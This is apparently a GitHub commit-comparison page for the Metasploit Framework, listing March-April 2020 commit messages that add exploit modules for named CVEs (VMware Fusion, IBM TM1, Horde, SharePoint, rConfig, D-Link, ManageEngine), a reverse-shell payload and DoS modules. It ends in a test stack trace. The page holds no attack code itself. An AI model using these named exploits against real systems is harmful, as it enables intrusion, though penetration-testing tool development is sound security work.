Compare commits

...

464 Commits

Author SHA1 Message Date
Metasploit 6144b415c6 automatic module_metadata_base.json update 2020-04-02 12:02:48 -05:00
William Vu a375c18d77 Land #13123, VMware Fusion OS X LPE CVE-2020-3950 2020-04-02 11:53:43 -05:00
Metasploit 54e5983451 automatic module_metadata_base.json update 2020-04-02 11:31:27 -05:00
William Vu 5aab28a1a6 Fix command separator conflict 2020-04-02 11:30:59 -05:00
bwatters-r7 859eda92bb Land #12759, Apache Solr Remote Code Execution via Velocity Template
Merge branch 'land-12759' into upstream-master
2020-04-02 11:23:33 -05:00
William Vu 8a5049719c Add 10.1.6 scenario to module doc 2020-04-02 11:15:04 -05:00
William Vu c6a75222fb Clean up whitespace in module doc 2020-04-02 11:11:38 -05:00
William Vu 7ed37c2e77 Fix module and get it working on 10.1.6 2020-04-02 11:06:21 -05:00
Metasploit 41d71124c3 automatic module_metadata_base.json update 2020-04-02 10:06:54 -05:00
Adam Galway e8d134fc56 Land #12096, DNN cookie desrialization exploit 2020-04-02 15:57:46 +01:00
Alan Foster 791b51228f Land #13155, add utility methods for memory/cpu profiling 2020-04-02 12:21:42 +01:00
Adam Galway 92aec23b62 Move Memory Profiling message to before stop call 2020-04-02 12:18:36 +01:00
Adam Galway f4d8a4dffb PR Changes 2020-04-02 11:39:07 +01:00
h00die 1b0665aee4 Land #13164, docs for http_hsts aux modulewq 2020-04-01 20:54:15 -04:00
h00die 02e909c6b2 markdown formatting 2020-04-01 20:53:30 -04:00
tekwizz123 6512ed71b2 Add documentation for http_hsts.md 2020-04-01 18:20:01 -05:00
Tim W 90d4351f0d Land #13148, reduce startup time by caching the android signing key 2020-04-01 14:18:08 +08:00
Metasploit 9704448379 automatic module_metadata_base.json update 2020-03-31 16:06:25 -05:00
William Vu 23bc62dac3 Land #12818, Cable Haunt WebSocket DoS module 2020-03-31 15:57:03 -05:00
William Vu c147541777 Fix auxiliary/gather/chrome_debugger and doc 2020-03-31 12:23:19 -05:00
William Vu 8811c51644 Clean up module and update module doc 2020-03-31 12:23:19 -05:00
Metasploit 79033f5751 automatic module_metadata_base.json update 2020-03-31 11:53:48 -05:00
Adam Galway bc12db45cd Land #13172, bumps metasploit_payloads-mettle gem 2020-03-31 17:44:02 +01:00
Adam Galway 556af54850 Land #13176, issue_finder ignores bad python files 2020-03-31 13:19:41 +01:00
h00die 2c11ea84e7 remove bad python files from issue_finder 2020-03-30 22:48:10 -04:00
h00die 954f123e7e remove extra lines 2020-03-30 22:25:16 -04:00
h00die 1b658aa85f 11.5.3 cleanup and reliability 2020-03-30 22:22:01 -04:00
Adam Galway 405e7b108b Land #13132, removes EOL spaces 2020-03-30 17:49:18 +01:00
Metasploit 5f230de3e7 automatic module_metadata_base.json update 2020-03-30 10:59:19 -05:00
William Vu 1e90c6117c Land #13152, IBM PA/TM1 CVE-2019-4716 exploit 2020-03-30 10:50:50 -05:00
William Vu 8209a4e6af Clean up module doc 2020-03-30 10:50:43 -05:00
Adam Galway fb06bc09f5 remove new_key option and lazy loads static key 2020-03-30 16:09:30 +01:00
Adam Galway fc85733ec0 adds class variable key for signing jars 2020-03-30 15:28:39 +01:00
Alan Foster 60114d3542 Land #13093, add alias of ftp_connect to connect within Exploit::Remote::Ftp 2020-03-30 13:09:20 +01:00
Alan Foster 28356952cd Land #13105, make pattern_* and makeiplist tools faster 2020-03-30 12:58:24 +01:00
Adam Galway fa5af87f68 cpu & memory profilers now work with code blocks 2020-03-30 11:02:36 +01:00
Tim W def95c41ce update payload cached sizes 2020-03-30 16:12:42 +08:00
Tim W ed89657706 bump mettle to 0.5.21 2020-03-30 15:07:44 +08:00
Pedro Ribeiro d904eed010 add badchars for various targets 2020-03-30 12:49:58 +07:00
Metasploit 4bcad2b3cf automatic module_metadata_base.json update 2020-03-28 20:12:02 -05:00
William Vu 49a2ec9cca Land #13085, Redis module rename 2020-03-28 20:03:14 -05:00
h00die 7c74ff4b49 Land #13159, docs for apache_mod_cgi_bash_env 2020-03-28 16:59:01 -04:00
h00die 97ebe82e6c apache_mod_cgi_bash_env cleanup 2020-03-28 16:46:55 -04:00
ide0x90 861b79bce7 Added new targets and made documentation consistent 2020-03-29 00:33:24 +08:00
h00die 0291adf4c7 add 11.5.3 exploit 2020-03-28 11:55:55 -04:00
Pedro Ribeiro 59c2079aa4 split AIX and Linux cmd targets 2020-03-28 14:35:24 +07:00
Pedro Ribeiro 46286f8981 change to payload.encoded 2020-03-28 14:30:20 +07:00
Pedro Ribeiro 2ac177cb39 make changes for ARCH_CMD, add multiple targets 2020-03-28 14:22:21 +07:00
Pedro Ribeiro 6a6b99885d Add ARCH_CMD, tested and working 2020-03-28 13:55:09 +07:00
Pedro Ribeiro 5ac0145bb4 Update modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-28 11:04:31 +07:00
Green-m 92fb321f9f Satify the msftidy_docs. 2020-03-28 11:46:55 +08:00
Green-m 4b1762081f Renane module to redis_extension_cmd_exec.
Fix #12143
2020-03-28 11:37:18 +08:00
tjohnson 3588c3915b Add apache_mod_cgi_bash_env.md 2020-03-27 23:09:43 -04:00
h00die a4e11fd311 spaces EOL SMH 2020-03-27 18:01:44 -04:00
h00die e9e142b573 shoutout 2020-03-27 18:01:43 -04:00
h00die 7bc30ecf39 add version check 2020-03-27 18:01:43 -04:00
h00die eda3653a51 tidy 2020-03-27 18:01:43 -04:00
h00die 4f6e2fe84e vmware fusion osx lpe 2020-03-27 18:01:43 -04:00
Metasploit bf8a1fc706 automatic module_metadata_base.json update 2020-03-27 14:43:54 -05:00
William Vu 8010da8c04 Land #13141, cmd/unix/reverse_tclsh payload 2020-03-27 14:34:40 -05:00
Metasploit 816a021368 automatic module_metadata_base.json update 2020-03-27 12:47:41 -05:00
Shelby Pace 5f0c9942d2 Land #12756, add dlink dwl2600 exploit 2020-03-27 12:38:35 -05:00
Shelby Pace 8aa4d7a944 remove mixins, add CVE 2020-03-27 12:37:40 -05:00
Nicholas Starke 360e3ef039 Fixing DLINK DWL-2600 Scenarios 2020-03-27 11:57:39 -05:00
Pedro Ribeiro c4f05fb566 Update modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:29:34 +07:00
Pedro Ribeiro a197b5a891 make changes as requested 2020-03-27 16:20:49 +07:00
Pedro Ribeiro 8139d0a1f1 change if to positive 2020-03-27 16:18:43 +07:00
Pedro Ribeiro 79abacd186 Fix null response 2020-03-27 16:17:01 +07:00
Pedro Ribeiro 7400720130 Update modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:15:56 +07:00
Pedro Ribeiro 75a0a2ae8a change module name 2020-03-27 16:15:43 +07:00
Pedro Ribeiro bdfe3b3be1 Update documentation/modules/exploit/multi/misc/ibm_tm1_unauth_rce.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:14:56 +07:00
Pedro Ribeiro 3429e86f40 Update modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:14:44 +07:00
Pedro Ribeiro f69d9e0b0d Update modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:14:33 +07:00
Pedro Ribeiro f81099709d Update modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:14:22 +07:00
Pedro Ribeiro 9b61a02d04 Update documentation/modules/exploit/multi/misc/ibm_tm1_unauth_rce.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:13:59 +07:00
Pedro Ribeiro ef86d9f74c Update documentation/modules/exploit/multi/misc/ibm_tm1_unauth_rce.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:13:51 +07:00
Pedro Ribeiro cb5fbdf0c0 explain a bit better 2020-03-27 15:23:46 +07:00
Pedro Ribeiro b9d2b73e3a Update ibm_tm1_unauth_rce.md 2020-03-27 15:23:04 +07:00
Pedro Ribeiro d566fdefae add link to advisory 2020-03-27 14:52:28 +07:00
Pedro Ribeiro db9c718459 add link to advisory 2020-03-27 14:52:00 +07:00
Pedro Ribeiro ebf19051a4 add docs 2020-03-27 14:41:38 +07:00
Pedro Ribeiro 38df0e3a58 Add exploit for IBM TM1 2020-03-27 14:40:56 +07:00
Pedro Ribeiro 95cb694d2f Merge pull request #13 from rapid7/master
aaa
2020-03-27 14:39:15 +07:00
Nicholas Starke bb21c8f6d8 Finishing Touches on DLINK DWL 2600 Module
These last finishing touches complete the DLINK DWL 2600 Module.  The
fixes include making renaming token to @token and adding the noconcat
CmdStager option.
2020-03-26 20:13:55 -05:00
Shelby Pace dc9e215318 remove unused code / add option 2020-03-26 16:05:56 -05:00
Shelby Pace f191eb00c9 add command stager 2020-03-26 16:05:56 -05:00
Metasploit 3fbcfa4100 Bump version of framework to 5.0.83 2020-03-26 12:03:02 -05:00
Metasploit 4c06146900 automatic module_metadata_base.json update 2020-03-26 07:31:06 -05:00
Adam Galway ce69665377 only calls module_set.create when key is present 2020-03-26 12:29:23 +00:00
Alan Foster 077d7af6a9 Land #13143, fix broken redis_unauth_exec check in msfconsole 2020-03-26 12:21:26 +00:00
Alan Foster 2b6815401f Land #13144, update to faraday 1.0.0 2020-03-26 12:12:36 +00:00
Adam Galway db2e7bb9d7 set faraday to latest version 2020-03-26 10:36:13 +00:00
bcoles 4f026bbf84 Adjust CachedSize 2020-03-26 20:27:01 +11:00
Brendan Coles 89e257c722 Add spec 2020-03-26 06:55:05 +00:00
Metasploit be21ef692d automatic module_metadata_base.json update 2020-03-25 16:25:50 -05:00
Jeffrey Martin 6d5688f120 Land #13146, Update octokit to latest rubygem available. 2020-03-25 16:16:04 -05:00
Pearce Barry 7827d694fe Update octokit to latest rubygem available.
4.17.0 went away, see https://github.com/octokit/octokit.rb/issues/1219
2020-03-25 16:02:23 -05:00
Brent Cook 346b593a18 Land #13130, Transport and pivot fixes for meterpreter 2020-03-25 15:10:47 -05:00
Metasploit 5dfdf66a0e automatic module_metadata_base.json update 2020-03-25 11:34:46 -05:00
bwatters-r7 beb53254c7 Land #13122, Add Exploit Module For CVE-2020-0646 (SharePoint Workflows XOML RCE)
Merge branch 'land-13122' into upstream-master
2020-03-25 11:24:15 -05:00
Adam Galway 2da9d54b7b updates faraday gem to version with disabled warn 2020-03-25 15:54:37 +00:00
Adam Cammack 5ce4929834 Fix has_check? conflict in redis_unauth_exec
Importing `Msf::Auxiliary::Scanner` at all will override the default
`has_check?` check and add a its own `check` method. This redefines
`has_check?` to allow usage of the Redis mixin while using an
exploit-style `check` method.

Fixes #13095
2020-03-25 10:07:08 -05:00
Brendan Coles 2bf1f3e9e1 Add cmd/unix/reverse_tclsh 2020-03-25 14:26:09 +00:00
Metasploit ab4e3f9481 automatic module_metadata_base.json update 2020-03-25 09:18:03 -05:00
bwatters-r7 d5107a1f79 Land #13030, New Windows post module: install_python
Merge branch 'land-13030' into upstream-master
2020-03-25 09:08:04 -05:00
bwatters-r7 2dcf2b0717 Add line about meterpreter python extension 2020-03-25 09:04:28 -05:00
bwatters-r7 37caf96ae9 Add TLS to web request in download script 2020-03-25 07:30:05 -05:00
Metasploit db6f243305 automatic module_metadata_base.json update 2020-03-24 17:10:22 -05:00
bwatters-r7 17d78ecb4b Land #13059, Limit Option Sizes When Appropriate
Merge branch 'land-13059' into upstream-master
2020-03-24 17:01:21 -05:00
Spencer McIntyre 54edd201e4 Cleanup cmdstager options 2020-03-24 17:14:47 -04:00
Auxilus c000ced363 update nasm_shell.rb 2020-03-25 02:21:08 +05:30
Auxilus e517948f11 Merge branch 'master' of https://github.com/rapid7/metasploit-framework into patch-5 2020-03-25 02:15:56 +05:30
Spencer McIntyre a69f3eb946 Use the correct its instead of it's 2020-03-24 16:44:18 -04:00
Spencer McIntyre ae5c62c279 Land #12988, add missing commit 2020-03-24 16:19:51 -04:00
Metasploit 7b34f07422 automatic module_metadata_base.json update 2020-03-24 15:15:55 -05:00
Spencer McIntyre b3b6450958 Land #12988, use the API for users and groups
This adds and uses the functionality to leverage the Windows API for
managing users and groups via meterpreter sessions. This replaces
relevant functionality in a few modules which previously relied on shell
commands.Merge branch 'pr/12988' into upstream-master
2020-03-24 16:06:52 -04:00
Spencer McIntyre d92d1448ef Minor whitespace and verbage cleanups 2020-03-24 16:03:40 -04:00
Metasploit dbeb6ad32b automatic module_metadata_base.json update 2020-03-24 12:38:06 -05:00
tperry-r7 d32640d179 Land #13133 clean up module documentation
Land #13133 clean up module documentation
2020-03-24 12:29:27 -05:00
Adam Cammack 9aafb3b306 Fix copy-pasta 2020-03-24 09:56:30 -05:00
Spencer McIntyre a0cd00dac7 Cleanup module doc and comments for CVE-2020-0646 2020-03-24 10:15:58 -04:00
h00die f5c4f593f5 check for more default instructional text 2020-03-24 09:51:21 -04:00
h00die fd8420cef7 fix install lines 2020-03-24 09:36:17 -04:00
Spencer McIntyre bf9cb3581a Land #13124, enhance tip for info -d 2020-03-24 09:32:46 -04:00
h00die e7da6e77a5 remove and check for instruction text 2020-03-24 09:15:04 -04:00
h00die 0b4c047411 doc cleanup 2020-03-24 08:47:21 -04:00
Auxilus 260099b506 remove spaces at EOL 2020-03-24 18:15:31 +05:30
Auxilus 26b2ec3d84 remove spaces at EOL 2020-03-24 18:08:34 +05:30
Auxilus 892cab094a remove spaces at EOL 2020-03-24 18:07:18 +05:30
Brent Cook bd59321cb1 Land #13131, bump Vagrant devenv to Ubuntu 18.04 2020-03-24 06:42:19 -05:00
Brent Cook 414035e1e4 bump Metasploit Vagrant devenv to the latest LTS version 2020-03-24 06:12:23 -05:00
h00die ee2f792f58 Land #13118, fixes for the linux priv esc example 2020-03-24 07:07:09 -04:00
Brent Cook 4c93933b6e HTTP pivot fixes for Meterpreter 2020-03-24 05:40:02 -05:00
h00die 4fe8f2ce49 enhance info tip 2020-03-23 20:09:24 -04:00
Spencer McIntyre 0832604131 Finish up the CVE-2020-0646 SharePoint RCE 2020-03-23 18:14:28 -04:00
Alan Foster bf07b1c897 Landing #13039, add color to search text matches and module ranks 2020-03-23 18:26:17 +00:00
Alan Foster d506bdc641 Use latest rex-text version 2020-03-23 18:22:35 +00:00
Adam Galway 04903daa4c highlights search text & color codes module ranks 2020-03-23 17:42:17 +00:00
Srikanth Suresh 005601f76e Changing from Remote to Local
Using https://github.com/rapid7/metasploit-framework/issues/13116 as the reference
2020-03-23 20:40:25 +03:00
Metasploit e5c8f15851 automatic module_metadata_base.json update 2020-03-23 07:42:56 -05:00
Shelby Pace fd8ceb0db2 Land #13082, add Horde Groupware Webmail RCE 2020-03-23 07:32:53 -05:00
Shelby Pace 475c24361d randomize file name 2020-03-23 07:28:04 -05:00
cn-kali-team 219f5bd2d8 Change "x86" to constant 2020-03-23 19:15:08 +08:00
Alan Foster 30d1259190 Land #13089, add automated comments to needs-docs label 2020-03-23 09:51:14 +00:00
bluesentinel 597c97da45 Refactored and added support for specifying Python versions 2020-03-22 14:10:06 -04:00
Auxilus b090bb53cf make makeiplist and nasm_shell tools faster 2020-03-21 19:07:21 +05:30
Shelby Pace c6eebe4ca3 replace equality with include? 2020-03-20 21:19:29 -05:00
Spencer McIntyre 6c24ed4c96 Initial SharePoint WorkFlows XOML RCE module 2020-03-20 17:57:54 -04:00
cn-kali-team 3fd1a2cee1 remove default completely 2020-03-21 03:00:01 +08:00
Auxilus ccfb1b92b6 make tools/exploit/pattern_* faster 2020-03-21 00:12:15 +05:30
cn-kali-team 10d5eda489 Check domain first on domain_mode 2020-03-21 01:34:03 +08:00
Pedro Ribeiro 81298aaca6 Merge pull request #12 from rapid7/master
aaa
2020-03-20 21:27:09 +07:00
cn-kali-team 5b9e7f5777 Modify document 2020-03-20 21:12:06 +08:00
cn-kali-team 8d1ae46012 Increase buffer length 2020-03-20 14:22:58 +08:00
cn-kali-team f9af8ed184 get_domain with api 2020-03-20 14:15:39 +08:00
cn-kali-team a2f7551aa7 get_domain with api 2020-03-20 14:15:18 +08:00
cn-kali-team 9bff7de41b Fix moving the keyword argument to the end 2020-03-20 14:12:01 +08:00
cn-kali-team 62e60fbc81 Fix checking if the group already exists. 2020-03-20 12:08:24 +08:00
cn-kali-team 0493eb2e0e Fix return an empty array and moving the keyword argument to the end 2020-03-20 11:55:51 +08:00
Metasploit f6e81bac29 automatic module_metadata_base.json update 2020-03-19 12:26:50 -05:00
Spencer McIntyre 5b2f744cd8 Land #13070, fix Cisco DCNM directory search regex 2020-03-19 13:17:27 -04:00
Metasploit fd35ee3860 Bump version of framework to 5.0.82 2020-03-19 12:03:16 -05:00
Metasploit ca239309e4 automatic module_metadata_base.json update 2020-03-19 11:50:53 -05:00
Adam Galway f165527e88 Land #12851, DOS attack on Tautulli <=2.1.9 2020-03-19 16:42:07 +00:00
adamgalway-r7 3f9b94c55c update docs 2020-03-19 16:36:50 +00:00
Andrea Cardaci 40d6dd14c4 Remove the check method 2020-03-18 20:29:49 +01:00
Mehmet İnce 6d55ca4040 Adding alias of ftp_connect
Signed-off-by: Mehmet İnce <mehmet@mehmetince.net>
2020-03-18 17:26:28 +03:00
Alan Foster 507864e5e4 Use explicit sha for community plugin 2020-03-18 11:48:41 +00:00
Andrea Cardaci 19e9848592 Remove trailing spaces 2020-03-17 19:06:57 +01:00
Andrea Cardaci bbb152a6d8 Update modules/exploits/multi/http/horde_csv_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-17 19:02:34 +01:00
Andrea Cardaci eccee07e8b Update modules/exploits/multi/http/horde_csv_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-17 19:02:07 +01:00
Andrea Cardaci a60652898f Update modules/exploits/multi/http/horde_csv_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-17 19:01:03 +01:00
Andrea Cardaci a4ff847170 Update modules/exploits/multi/http/horde_csv_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-17 18:57:06 +01:00
Metasploit 11da08a303 automatic module_metadata_base.json update 2020-03-17 12:24:46 -05:00
Shelby Pace 922f1ec708 Land #12901, add Centreon poller rce 2020-03-17 12:16:29 -05:00
Shelby Pace 2717683825 change message 2020-03-17 12:15:06 -05:00
Shelby Pace 98f4642c2d remove comments / check 2020-03-17 10:33:12 -05:00
Alan Foster 59bd981a70 Add automated comments to no-docs label 2020-03-17 00:26:47 +00:00
Metasploit 1321817f66 automatic module_metadata_base.json update 2020-03-16 06:28:40 -05:00
Alan Foster 5d9d3926e4 Land #13066, add rConfig 3.9 RCE module 2020-03-16 11:18:59 +00:00
RAMELLA Sébastien 0efe53d869 fix somes code review comments. 2020-03-15 13:30:23 +04:00
Andrea Cardaci 126f5ca05d Add 'Horde CSV import arbitrary PHP code execution' (CVE-2020-8518) 2020-03-14 16:07:51 +01:00
cn-kali-team 3c46221eb3 remove original add_user file 2020-03-14 11:04:37 +08:00
cn-kali-team 44038f1bef Add my code to add_user_domain and rename add_user_domain to add_user 2020-03-14 11:04:08 +08:00
cn-kali-team 0d24757294 Fix bug 2020-03-14 10:31:54 +08:00
Metasploit 3a5db5e492 automatic module_metadata_base.json update 2020-03-13 18:19:12 -05:00
Spencer McIntyre f208d547ed Land #13079, fix YSoSerial payload patching 2020-03-13 19:09:37 -04:00
William Vu ddefafab78 Revert "Patch serialVersionUID in the library"
This reverts commit eaf8554e69.
2020-03-13 17:36:40 -05:00
Metasploit dfd4a77e3d automatic module_metadata_base.json update 2020-03-13 14:29:46 -05:00
William Vu e643afb681 Fix find_ysoserial_offsets.rb and prettify JSON 2020-03-13 14:22:32 -05:00
Spencer McIntyre 2a5c43302b Land #13071, add ManageEngine Desktop Central RCE 2020-03-13 15:20:57 -04:00
William Vu 8f6331d0d5 Pretty-print JSON in data/ysoserial_payloads.json
jq . data/ysoserial_payloads.json
2020-03-13 14:04:32 -05:00
William Vu 02e2072a87 Update module traits after joint testing 2020-03-13 14:01:54 -05:00
William Vu eaf8554e69 Patch serialVersionUID in the library 2020-03-13 13:17:26 -05:00
William Vu c11be38e1c Default to certutil CmdStager 2020-03-13 12:38:07 -05:00
William Vu 03ff32210e Fix CmdStager target 2020-03-13 12:26:45 -05:00
William Vu 0806e9ef42 Add CmdStager target back in so we can debug it 2020-03-13 11:17:37 -05:00
William Vu 4f6720f962 Add TARGETURI back in 2020-03-13 11:05:14 -05:00
Metasploit 3ee6f88eca automatic module_metadata_base.json update 2020-03-13 10:01:55 -05:00
bwatters-r7 c21b90ea61 Land #13063, Add PSH-AmsiBypassURI option to allow persistent web_delivery
Merge branch 'land-13063' into upstream-master
2020-03-13 09:52:25 -05:00
dwelch-r7 786c968395 Land #13057, Add memory and cpu profiling tools 2020-03-13 13:47:34 +00:00
Alan Foster edef4a1e47 Land #13036, Add TTL to json rpc results tracking 2020-03-13 13:33:18 +00:00
dwelch-r7 682653e9d9 PR comments 2020-03-13 13:32:59 +00:00
Alan Foster 1137036ecb Tidy up results tracking 2020-03-13 13:32:59 +00:00
dwelch-r7 55bd3f45be run rubocop -a on new files 2020-03-13 13:32:58 +00:00
dwelch-r7 754b42f9f2 run rubocop -a on new files 2020-03-13 13:32:58 +00:00
dwelch-r7 6762a7b147 Fix all the tests 2020-03-13 13:32:58 +00:00
dwelch-r7 e6aa840e64 Store results as json to prevent keeping references around 2020-03-13 13:32:58 +00:00
dwelch-r7 54928c0e7b fix tests 2020-03-13 13:32:58 +00:00
dwelch-r7 4705f9c2dc Adds tests 2020-03-13 13:32:58 +00:00
dwelch-r7 e692edc3b4 Add error handling for writing to the cache 2020-03-13 13:32:58 +00:00
dwelch-r7 9f76f3ef08 Use rpc specific job status tracker and add default no op tracker 2020-03-13 13:32:57 +00:00
Alan Foster 12958326b9 Track job status earlier 2020-03-13 13:32:57 +00:00
Alan Foster 1df297da4a Fix incorrect method call when checking results 2020-03-13 13:32:57 +00:00
dwelch-r7 34fc7528dd Re-add original job state tracker code
This reverts commit 908ce3d3
2020-03-13 13:32:57 +00:00
Metasploit 9bac299bc2 automatic module_metadata_base.json update 2020-03-13 08:17:31 -05:00
dwelch-r7 b1225d4d72 Land #13062, Remove preceeding whitespace from module name 2020-03-13 13:08:50 +00:00
Viking ff2421163b Fix Travis-CI errors 2020-03-13 10:42:40 +01:00
Viking 5f4de7044f Create rconfig_ajaxarchivefiles_rce.md 2020-03-13 10:07:39 +01:00
Viking 5bbabd6f2a Add tips to description. 2020-03-13 10:03:27 +01:00
Viking 7874308fae Last typo fixes. No priv required on webapp. 2020-03-13 09:18:50 +01:00
Viking a8e881452b Add greetz to my colleagues who tested this module 2020-03-13 06:42:48 +01:00
Tim W 1807461882 Land #13069, fix channel args and powershell_shell 2020-03-13 13:09:49 +08:00
William Vu 83387212a7 Update language to address different patches 2020-03-12 17:50:13 -05:00
Metasploit 140eef3d0d automatic module_metadata_base.json update 2020-03-12 17:43:02 -05:00
William Vu 0b117849d0 Note specific patch versions
Hat tip @sranjit-r7.
2020-03-12 17:40:46 -05:00
William Vu ed5dd4dd20 Add module doc 2020-03-12 17:36:53 -05:00
William Vu a908ceb58a Add ManageEngine Desktop Central exploit 2020-03-12 17:36:53 -05:00
William Vu 5e65021914 Land #13054, PPID_NAME fix for Windows migrate 2020-03-12 17:35:39 -05:00
debifrank dfe70ca3fc Cisco DCNM Module upload directory location regex filter corrected to allow for paths such as C:\Cisco System\ 2020-03-12 17:08:33 -04:00
Metasploit d226025cd9 automatic module_metadata_base.json update 2020-03-12 15:45:29 -05:00
Spencer McIntyre 71f2e4c26c Land #13035, update PHP web_delivery to SSL context
Update the PHP command from web_delivery to ignore invalid SSL
certificates which is required for newer versions of PHP when a
self-signed certificate is used.
2020-03-12 16:35:12 -04:00
Spencer McIntyre f43c547a56 Fix args when directly opening a channel 2020-03-12 15:45:31 -04:00
Alan Foster 8297a31863 Extract profiler 2020-03-12 19:44:50 +00:00
Spencer McIntyre 44abb63331 Land #13064, fix the meterpreter shell command 2020-03-12 15:07:03 -04:00
Alan Foster 8541cab9f6 Add profiling tools 2020-03-12 18:01:30 +00:00
Metasploit ecba853b29 automatic module_metadata_base.json update 2020-03-12 12:37:06 -05:00
Christophe De La Fuente f7d8c43722 Land #13040, SQL Server Reporting Services ViewState deserialization RCE 2020-03-12 18:26:01 +01:00
Metasploit d2d7486d82 Bump version of framework to 5.0.81 2020-03-12 12:05:27 -05:00
Viking 885c8b8a56 Fix formatting issues, and add EDB link for SQLi 2020-03-12 16:17:53 +01:00
Viking e6b9610841 Update modules/exploits/linux/http/rconfig_ajaxarchivefiles_rce.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-03-12 15:59:09 +01:00
Viking 2cac8f4e3a Update modules/exploits/linux/http/rconfig_ajaxarchivefiles_rce.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-03-12 15:58:38 +01:00
Viking 3f7aed3c0a Fix Travis-CI errors 2020-03-12 13:44:47 +01:00
Viking 8f65bfff88 Merge pull request #1 from v1k1ngfr/v1k1ngfr-patch-1
Update rconfig_ajaxarchivefiles_rce.rb
2020-03-12 12:04:51 +01:00
Viking 60d86cf25d Update rconfig_ajaxarchivefiles_rce.rb 2020-03-12 11:44:05 +01:00
Viking 94f082fe4a Create rconfig_ajaxarchivefiles_rce.rb 2020-03-12 11:41:12 +01:00
g0t mi1k 204e4d8cdb Switch to preferred style (ruby) 2020-03-12 09:59:08 +00:00
Tim W 5081496786 fix rapid7/metasploit-framework#13060 2020-03-12 16:57:14 +08:00
Tim W 67aefb372e fix rapid7/metasploit-framework#13046 2020-03-12 15:21:00 +08:00
Alan Foster 54878d3f68 Remove preceding whitespace from module name 2020-03-12 01:12:00 +00:00
Spencer McIntyre 77e21de4bd Add additional docs for setting up an environment 2020-03-11 15:05:51 -04:00
Spencer McIntyre 059dd59d90 Use the new max_length check elsewhere 2020-03-11 11:56:15 -04:00
Spencer McIntyre db9626153b Minor refactoring for style, whitespace, etc. 2020-03-11 11:56:15 -04:00
Timo Mueller b9cd724609 Changed 'maxLength' var to snake_case style 'max_length' 2020-03-11 11:55:18 -04:00
Timo Mueller 2283948fcf Fixed description in reverse_http payload, for real 2020-03-11 11:55:18 -04:00
Timo Mueller 364b6c1359 Fixed description in reverse_http payload 2020-03-11 11:55:18 -04:00
Timo Mueller 42997be4ae Added maximum string length check in meterpreter payload generation 2020-03-11 11:55:18 -04:00
Timo Mueller f10f5701dd Added maximum string length check 2020-03-11 11:43:10 -04:00
Timo Mueller a6ee63bb6a removed print 2020-03-11 11:41:38 -04:00
Timo Mueller e8686caa02 Implemented size check for items within to_str 2020-03-11 11:41:38 -04:00
dwelch-r7 47f4f2d981 Land #13037, Add tips on msfconsole startup 2020-03-11 13:59:57 +00:00
Alan Foster 1f96d3b42f Add useful tips when starting up metasploit 2020-03-11 10:18:42 +00:00
cn-kali-team 5aa6cf5b42 Fix x64 architecture support 2020-03-11 11:23:47 +08:00
Pearce Barry 6e6bb0a838 Land #13055, rollback simplecov version due to error 2020-03-10 19:09:48 -05:00
Jeffrey Martin a3e821114a rollback simplecov version due to error
The issue found looks similar to https://stackoverflow.com/questions/55631720/simplecov-rcov-is-throwing-a-encodingundefinedconversionerror.
Also https://github.com/fguillen/simplecov-rcov/issues/20 suggest may be related to file open permissions set.

When running rspec test with `bundle exec rake spec` the following stack traces is seen.

```
Traceback (most recent call last):
	27: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/defaults.rb:27:in `block in <top (required)>'
	26: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov.rb:202:in `at_exit_behavior'
	25: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov.rb:214:in `run_exit_tasks!'
	24: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/configuration.rb:196:in `block in at_exit'
	23: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/result.rb:49:in `format!'
	22: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-html-0.12.2/lib/simplecov-html.rb:28:in `format'
	21: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-html-0.12.2/lib/simplecov-html.rb:28:in `open'
	20: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-html-0.12.2/lib/simplecov-html.rb:29:in `block in format'
	19: from /home/msfuser/.rvm/rubies/ruby-2.6.5/lib/ruby/2.6.0/erb.rb:901:in `result'
	18: from /home/msfuser/.rvm/rubies/ruby-2.6.5/lib/ruby/2.6.0/erb.rb:901:in `eval'
	17: from (erb):8:in `block in format'
	16: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:73:in `covered_percent'
	15: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:27:in `coverage_statistics'
	14: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:104:in `compute_coverage_statistics'
